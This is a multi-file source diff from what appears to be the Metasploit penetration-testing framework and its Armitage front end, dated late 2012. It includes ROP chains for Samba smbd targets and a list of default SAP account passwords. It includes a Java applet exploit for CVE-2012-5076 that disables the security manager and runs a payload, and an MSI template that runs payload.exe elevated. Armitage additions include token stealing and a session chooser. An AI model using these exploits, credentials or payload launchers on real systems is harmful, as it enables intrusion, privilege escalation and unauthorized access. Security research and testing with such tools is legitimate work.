<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0002ab2c">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c1008">mmap64@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x0009e8e4">jmp eax</gadget>
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x001f6142">pop edx ; ret</gadget>
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
<gadget offset="0x00277540">pop ebp ; ret</gadget>
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c0964">memcpy@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0000dbcf">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
<compatibility
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x00021cd9">pop eax; ret</gadget>
<gadget offset="0x008cf86c">mmap64@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x000234e5">jmp eax</gadget>
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00394107">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x00021cd9">pop eax; ret</gadget>
<gadget offset="0x008cf1e8">memcpy@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x00020453">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
</db>

View File

@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
class WebPage < ActiveRecord::Base class WebPage < ActiveRecord::Base
serialize :headers serialize :headers
end end
class WebVuln < ActiveRecord::Base class WebVuln < ActiveRecord::Base
serialize :params serialize :params
end end
def bfilter(str) def bfilter(str)
str = str.to_s str = str.to_s
str.encoding = 'binary' if str.respond_to?('encoding=') str.encoding = 'binary' if str.respond_to?('encoding=')
str.gsub(/[\x00\x7f-\xff]/, '') str.gsub(/[\x00\x7f-\xff]/, '')
end end
def self.up def self.up
rename_column :web_pages, :body, :body_text rename_column :web_pages, :body, :body_text
rename_column :web_pages, :request, :request_text rename_column :web_pages, :request, :request_text
rename_column :web_vulns, :request, :request_text rename_column :web_vulns, :request, :request_text
rename_column :web_vulns, :proof, :proof_text rename_column :web_vulns, :proof, :proof_text
add_column :web_pages, :body, :binary add_column :web_pages, :body, :binary
add_column :web_pages, :request, :binary add_column :web_pages, :request, :binary
add_column :web_vulns, :request, :binary add_column :web_vulns, :request, :binary
add_column :web_vulns, :proof, :binary add_column :web_vulns, :proof, :binary
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! } WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! } WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! } WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! } WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
remove_column :web_pages, :body_text remove_column :web_pages, :body_text
remove_column :web_pages, :request_text remove_column :web_pages, :request_text
remove_column :web_vulns, :request_text remove_column :web_vulns, :request_text
remove_column :web_vulns, :proof_text remove_column :web_vulns, :proof_text
WebPage.connection.schema_cache.clear!
WebPage.reset_column_information
WebVuln.connection.schema_cache.clear!
WebVuln.reset_column_information
end end
def self.down def self.down
@ -43,21 +48,25 @@ class ConvertBinary < ActiveRecord::Migration
rename_column :web_pages, :request, :request_binary rename_column :web_pages, :request, :request_binary
rename_column :web_vulns, :request, :request_binary rename_column :web_vulns, :request, :request_binary
rename_column :web_vulns, :proof, :proof_binary rename_column :web_vulns, :proof, :proof_binary
add_column :web_pages, :body, :text add_column :web_pages, :body, :text
add_column :web_pages, :request, :text add_column :web_pages, :request, :text
add_column :web_vulns, :request, :text add_column :web_vulns, :request, :text
add_column :web_vulns, :proof, :text add_column :web_vulns, :proof, :text
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! } WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! } WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
remove_column :web_pages, :body_binary remove_column :web_pages, :body_binary
remove_column :web_pages, :request_binary remove_column :web_pages, :request_binary
remove_column :web_vulns, :request_binary remove_column :web_vulns, :request_binary
remove_column :web_vulns, :proof_binary remove_column :web_vulns, :proof_binary
WebPage.connection.schema_cache.clear!
WebPage.reset_column_information
WebVuln.connection.schema_cache.clear!
WebVuln.reset_column_information
end end
end end

View File

@ -0,0 +1,13 @@
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
def self.up
add_column :web_vulns, :owner, :string
add_column :web_vulns, :payload, :text
end
def self.down
remove_column :web_vulns, :owner
remove_column :web_vulns, :payload
end
end

View File

@ -0,0 +1,14 @@
SAP* 06071992
SAP* PASS
DDIC 19920706
DDIC Welcome01
SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme
DEVELOPER ch4ngeme
J2EE_ADMIN ch4ngeme
SAPJSF ch4ngeme

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.44</h1></center> <center><h1>Armitage 1.44</h1></center>
<p>An attack management tool for Metasploit&reg; <p>An attack management tool for Metasploit&reg;
<br />Release: 16 Oct 12</p> <br />Release: 26 Nov 12</p>
<br /> <br />
<p>Developed by:</p> <p>Developed by:</p>

View File

@ -550,6 +550,11 @@ sub data_delete {
call("db.key_clear", $1); call("db.key_clear", $1);
} }
# data_clear('key') -- clears all data associated with the specified key
sub data_clear {
data_delete($1);
}
# data_add('key', $object) -- appends value into the database... # data_add('key', $object) -- appends value into the database...
sub data_add { sub data_add {
local('$buffer $data'); local('$buffer $data');
@ -860,7 +865,7 @@ sub file_content {
} }
else { else {
local('%r'); local('%r');
%r = call("armitage.download", $1); %r = call("armitage.download_nodelete", $1);
return %r['data']; return %r['data'];
} }
} }

View File

@ -623,6 +623,34 @@ sub host_attack_items {
} }
} }
sub chooseSession {
local('@data $sid $data $host $hdata $temp $tablef');
# obtain a list of sessions
foreach $host (keys(%hosts)) {
foreach $sid => $data (getSessions($host)) {
$temp = copy($data);
$temp['sid'] = $sid;
push(@data, $temp);
}
}
# sort the session data
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
# update the table widths
$tablef = {
[[$1 getColumn: "sid"] setPreferredWidth: 100];
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
[[$1 getColumn: "info"] setPreferredWidth: 1024];
};
# let the user choose a session
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
[$call : $1];
}, $call => $4), \$tablef);
}
sub addFileListener { sub addFileListener {
local('$table $model $actions'); local('$table $model $actions');
($table, $model, $actions) = @_; ($table, $model, $actions) = @_;
@ -652,33 +680,7 @@ sub addFileListener {
$actions["WORDLIST"] = $actions["*FILE*"]; $actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to choose a session # set up an action to choose a session
$actions["SESSION"] = { $actions["SESSION"] = lambda(&chooseSession);
local('@data $sid $data $host $hdata $temp $tablef');
# obtain a list of sessions
foreach $host (keys(%hosts)) {
foreach $sid => $data (getSessions($host)) {
$temp = copy($data);
$temp['sid'] = $sid;
push(@data, $temp);
}
}
# sort the session data
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
# update the table widths
$tablef = {
[[$1 getColumn: "sid"] setPreferredWidth: 100];
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
[[$1 getColumn: "info"] setPreferredWidth: 1024];
};
# let the user choose a session
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
[$call : $1];
}, $call => $4), \$tablef);
};
# set up an action to pop up a file chooser for different file type values. # set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = { $actions["RHOST"] = {

View File

@ -239,6 +239,23 @@ sub init_menus {
dynmenu($top, "Help", 'H', &help_items); dynmenu($top, "Help", 'H', &help_items);
# setup some global keyboard shortcuts... # setup some global keyboard shortcuts...
[$frame bindKey: "Ctrl+I", {
thread({
chooseSession($null, $null, $null, {
local('$session');
$session = sessionData($1);
if ($session is $null) {
showError("Session $1 does not exist");
}
else if ($session['desc'] eq "Meterpreter") {
createMeterpreterTab($1);
}
else {
createShellSessionTab(\$session, $sid => $1);
}
});
});
}];
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }]; [$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }]; [$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }]; [$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];

View File

@ -104,13 +104,16 @@ sub parseMeterpreter {
} }
sub interpretMeterpreterCommand { sub interpretMeterpreterCommand {
if ([$1 getActionCommand] eq "shell") { local('$c');
$c = [lc([$1 getActionCommand] . "") trim];
if ($c eq "shell") {
createShellTab($sid); createShellTab($sid);
} }
else if ([$1 getActionCommand] eq "screenshot") { else if ($c eq "screenshot") {
[createScreenshotViewer($sid)]; [createScreenshotViewer($sid)];
} }
else if ([$1 getActionCommand] eq "webcam_snap") { else if ($c eq "webcam_snap") {
[createWebcamViewer($sid)]; [createWebcamViewer($sid)];
} }
} }
@ -168,7 +171,9 @@ sub showMeterpreterMenu {
}, $sid => "$sid")); }, $sid => "$sid"));
item($j, "Escalate Privileges", 'E', lambda({ item($j, "Escalate Privileges", 'E', lambda({
showPostModules($sid, "*escalate*"); showPostModules($sid, "*escalate*",
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
);
}, $sid => "$sid")); }, $sid => "$sid"));
item($j, "Steal Token" , "S", lambda({ item($j, "Steal Token" , "S", lambda({

View File

@ -251,7 +251,7 @@ sub showExploitModules {
# shows the post modules compatible with a session... for this to work, the # shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...) # code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
sub showPostModules { sub showPostModules {
local('@allowed $2'); local('@allowed $2 $3');
@allowed = getOS(sessionToOS($1)); @allowed = getOS(sessionToOS($1));
fork({ fork({
local('$modules %list $model'); local('$modules %list $model');
@ -270,7 +270,13 @@ sub showPostModules {
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules); $modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
} }
%list = ohash(post => buildTree($modules)); if ($base is $null) {
%list = ohash(post => buildTree($modules));
}
else {
%list = $base;
%list['post'] = buildTree($modules);
}
$model = treeNodes($null, %list); $model = treeNodes($null, %list);
dispatchEvent(lambda({ dispatchEvent(lambda({
@ -282,7 +288,7 @@ sub showPostModules {
} }
[$search setText: ""]; [$search setText: ""];
}, \$search, \$tree, \$model)); }, \$search, \$tree, \$model));
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2); }, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
} }
sub createModuleBrowserTab { sub createModuleBrowserTab {

View File

@ -96,6 +96,33 @@ sub createCredentialsTab {
($dialog, $table, $model) = show_hashes("", 320); ($dialog, $table, $model) = show_hashes("", 320);
[$dialog removeAll]; [$dialog removeAll];
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$popup $entries');
$popup = [new JPopupMenu];
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
item($popup, "Delete", 'D', lambda({
local('$queue $entry $user $pass $host');
$queue = [new armitage.ConsoleQueue: $client];
foreach $entry ($entries) {
($user, $pass, $host) = $entry;
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
}
[$queue addCommand: "x", "creds -h"];
[$queue addListener: lambda({
[$queue stop];
refreshCredsTable($model, $null);
}, \$model, \$queue)];
[$queue start];
[$queue stop];
}, \$table, \$model, \$entries));
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
}
}, \$table, \$model));
$panel = [new JPanel]; $panel = [new JPanel];
[$panel setLayout: [new BorderLayout]]; [$panel setLayout: [new BorderLayout]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]]; [$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];

View File

@ -75,7 +75,7 @@ sub createProcessBrowser {
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]]; [$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
local('$a $b $bb $c'); local('$a $b $bb $bbb $c');
$a = [new JButton: "Kill"]; $a = [new JButton: "Kill"];
[$a addActionListener: lambda({ [$a addActionListener: lambda({
local('$procs $v'); local('$procs $v');
@ -105,6 +105,15 @@ sub createProcessBrowser {
} }
}, $m => $1, \$table, \$model)]; }, $m => $1, \$table, \$model)];
$bbb = [new JButton: "Steal Token"];
[$bbb addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
}
}, $m => $1, \$table, \$model)];
$c = [new JButton: "Refresh"]; $c = [new JButton: "Refresh"];
[$c addActionListener: [$c addActionListener:
lambda({ lambda({
@ -112,7 +121,7 @@ sub createProcessBrowser {
}, $m => $1) }, $m => $1)
]; ];
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]]; [$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)]; [$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
m_cmd($1, "ps"); m_cmd($1, "ps");

View File

@ -163,6 +163,10 @@ global('%shells $ashell $achannel %maxq %wait');
# make our shell heuristic tolerant of prompts like this. # make our shell heuristic tolerant of prompts like this.
%wait[$achannel] = $null; %wait[$achannel] = $null;
} }
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
# make our shell heuristic tolerant of more prompts... this is from the time command
%wait[$achannel] = $null;
}
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') { else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
m_cmd($1, "read $achannel"); m_cmd($1, "read $achannel");
} }
@ -254,7 +258,14 @@ sub showShellMenu {
} }
item($1, "Post Modules", 'P', lambda({ item($1, "Post Modules", 'P', lambda({
showPostModules($sid); if ("*Windows*" iswm sessionToOS($sid)) {
showPostModules($sid);
}
else {
showPostModules($sid, "*",
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
);
}
}, \$sid)); }, \$sid));
separator($1); separator($1);

View File

@ -164,6 +164,21 @@ public class MeterpreterSession implements Runnable {
readUntilSuccessful(c, false); readUntilSuccessful(c, false);
return; return;
} }
else if (c.text.startsWith("add_user") && !teammode) {
/* when -h [host] is specified, attempts to add a user on another
host. In this case, output is split into multiple chunks.
This applies to add_localgroup_user and add_group_user too. */
readUntilSuccessful(c, false);
return;
}
else if (c.text.startsWith("add_localgroup_user") && !teammode) {
readUntilSuccessful(c, false);
return;
}
else if (c.text.startsWith("add_group_user") && !teammode) {
readUntilSuccessful(c, false);
return;
}
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text); //System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);

View File

@ -57,6 +57,13 @@ public class MsgRpcImpl extends RpcConnectionImpl {
/* login to msf server */ /* login to msf server */
Object[] params = new Object[]{ username, password }; Object[] params = new Object[]{ username, password };
Map results = exec("auth.login",params); Map results = exec("auth.login",params);
/* save the temp token (lasts for 5 minutes of inactivity) */
rpcToken = results.get("token").toString();
/* generate a non-expiring token and use that */
params = new Object[]{ rpcToken };
results = exec("auth.token_generate", params);
rpcToken = results.get("token").toString(); rpcToken = results.get("token").toString();
} }

View File

@ -33,10 +33,6 @@ public class KeyBindings implements KeyEventDispatcher {
} }
public boolean dispatchKeyEvent(KeyEvent ev) { public boolean dispatchKeyEvent(KeyEvent ev) {
if (ev.getID() != KeyEvent.KEY_PRESSED) {
return false;
}
StringBuffer description = new StringBuffer(); StringBuffer description = new StringBuffer();
if (ev.getModifiers() != 0) { if (ev.getModifiers() != 0) {
description.append(getKeyModifiers(ev)); description.append(getKeyModifiers(ev));
@ -46,9 +42,14 @@ public class KeyBindings implements KeyEventDispatcher {
synchronized (this) { synchronized (this) {
if (bindings.containsKey(description.toString())) { if (bindings.containsKey(description.toString())) {
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
ev.consume(); ev.consume();
return true; if (ev.getID() != KeyEvent.KEY_PRESSED) {
return false;
}
else {
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
return true;
}
} }
} }

View File

@ -1,6 +1,29 @@
Armitage Changelog Armitage Changelog
================== ==================
26 Nov 12 (tested against msf 16114)
---------
- Windows command shell tab is now friendlier to commands that prompt
for input (e.g., time command)
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
the framework's new exploit/windows/local modules too
- [host] -> Shell -> Post Modules now shows the framework's unix/local
and exploit/linux/local modules
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
- Added Steal Token button to Processes dialog.
- Armitage now asks Metasploit for a non-expiring authentication token.
This will prevent Armitage from losing its access to msfrpcd when you
put your computer to sleep or pause the VM running Metasploit.
- add_user and add_[local]group_user now show all of their output when
the -h flag is used to operate on a remote host.
- added a Delete menu to creds table. Right-click a cred to delete it
Cortana Updates (for scripters)
--------
- aliased &data_delete to &data_clear to match the documentation.
- &file_get, &loot_get, and &file_content no longer delete the remote
file when connected to a teamserver.
16 Oct 12 (tested against msf 15972) 16 Oct 12 (tested against msf 15972)
--------- ---------
- Added port 5985 to MSF Scans list. - Added port 5985 to MSF Scans list.

View File

@ -0,0 +1,69 @@
import java.applet.Applet;
import java.io.PrintStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import metasploit.Payload;
//import java.lang.Runtime;
public class Exploit extends Applet
{
public Exploit()
{
}
public byte[] hex2Byte(String str)
{
byte[] bytes = new byte[str.length() / 2];
for (int i = 0; i < bytes.length; i++)
{
bytes[i] = (byte) Integer
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
}
return bytes;
}
public void init()
{
try
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("MyPayload.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object obj = genericconstructor.create(new Object[] {});
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
Class class1 = (Class)method.invoke(obj, new Object[] {
//byte_payload
buffer
});
class1.newInstance();
//System.out.println("SecurityManager:" + System.getSecurityManager());
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
Payload.main(null);
//Runtime.getRuntime().exec("calc.exe");
}
catch(Exception exception)
{
//exception.printStackTrace();
}
}
}

View File

@ -0,0 +1,18 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
MyPayload.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
all: $(CLASSES:.java=.class)
install:
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
clean:
rm -rf *.class

View File

@ -0,0 +1,33 @@
import java.security.*;
public class MyPayload
implements PrivilegedExceptionAction
{
public MyPayload()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
//e.printStackTrace();
}
}
public Object run()
throws Exception
{
System.setSecurityManager(null);
return null;
}
public static void r()
throws Exception
{
//System.out.println("hello!");
}
}

View File

@ -0,0 +1,29 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecNotepad" After="InstallInitialize" />
</InstallExecuteSequence>
</Product>
</Wix>

View File

@ -423,7 +423,12 @@ nameloop: for (int i = 0; i < names.length; i++) {
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) { public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
return new ActionListener(){ return new ActionListener(){
public void actionPerformed(ActionEvent e) { public void actionPerformed(ActionEvent e) {
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true); //If we have saved options for this module, use those
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
else //otherwise go with the default
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
} }
}; };
} }

View File

@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
} }
Map hash = (Map)args.get(2); Map hash = (Map)args.get(2);
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1)); StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
//Save these options
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
propRoot.put("modOptions", new HashMap());
((Map)propRoot.get("modOptions")).put(name.toString(), args);
//Generate display name
for(Object ento : hash.entrySet()){ for(Object ento : hash.entrySet()){
Entry ent = (Entry)ento; Entry ent = (Entry)ento;
String propName = ent.getKey().toString(); String propName = ent.getKey().toString();
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD")) if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
name.append(" ").append(propName).append("-").append(ent.getValue()); name.append(" ").append(propName).append("-").append(ent.getValue());
} }
//Make menu item
final JMenuItem item = new JMenuItem(name.toString()); final JMenuItem item = new JMenuItem(name.toString());
item.addActionListener(new ActionListener() { item.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) { public void actionPerformed(ActionEvent e) {

View File

@ -0,0 +1,7 @@
This directory must be populated with the libs and includes for the commercial
Packet SDK in order for the sniffer extension to build. This SDK is not
publicly available at this time.
The 32-bit lib should be copied to win32/pssdk.lib
The 64-bit lib should be copied to win64/pssdk.lib

View File

View File

View File

View File

@ -9,7 +9,7 @@ require 'anemone/storage/base'
module Anemone module Anemone
VERSION = '0.5.0'; VERSION = '0.5.0'
# #
# Convenience method to start a crawl # Convenience method to start a crawl
@ -48,7 +48,7 @@ module Anemone
:cookies => nil, :cookies => nil,
# basic authentication data to send with HTTP requests # basic authentication data to send with HTTP requests
:http_basic_auth => nil, :http_basic_auth => nil,
# array or raw header lines to inject into each request # array or raw header lines to inject into each request
:inject_headers => [], :inject_headers => [],
# accept cookies from the server and send them back? # accept cookies from the server and send them back?
:accept_cookies => false, :accept_cookies => false,
@ -77,7 +77,7 @@ module Anemone
@skip_link_patterns = [] @skip_link_patterns = []
@after_crawl_blocks = [] @after_crawl_blocks = []
@opts = opts @opts = opts
yield self if block_given? yield self if block_given?
end end
@ -277,7 +277,7 @@ module Anemone
false false
end end
end end
# #
# Returns +true+ if *link* should not be visited because # Returns +true+ if *link* should not be visited because
# it has a query string and +skip_query_strings+ is true. # it has a query string and +skip_query_strings+ is true.
@ -301,6 +301,6 @@ module Anemone
@tentacles.each {|t| t.kill rescue nil } @tentacles.each {|t| t.kill rescue nil }
@pages = nil @pages = nil
end end
end end
end end

View File

@ -0,0 +1,7 @@
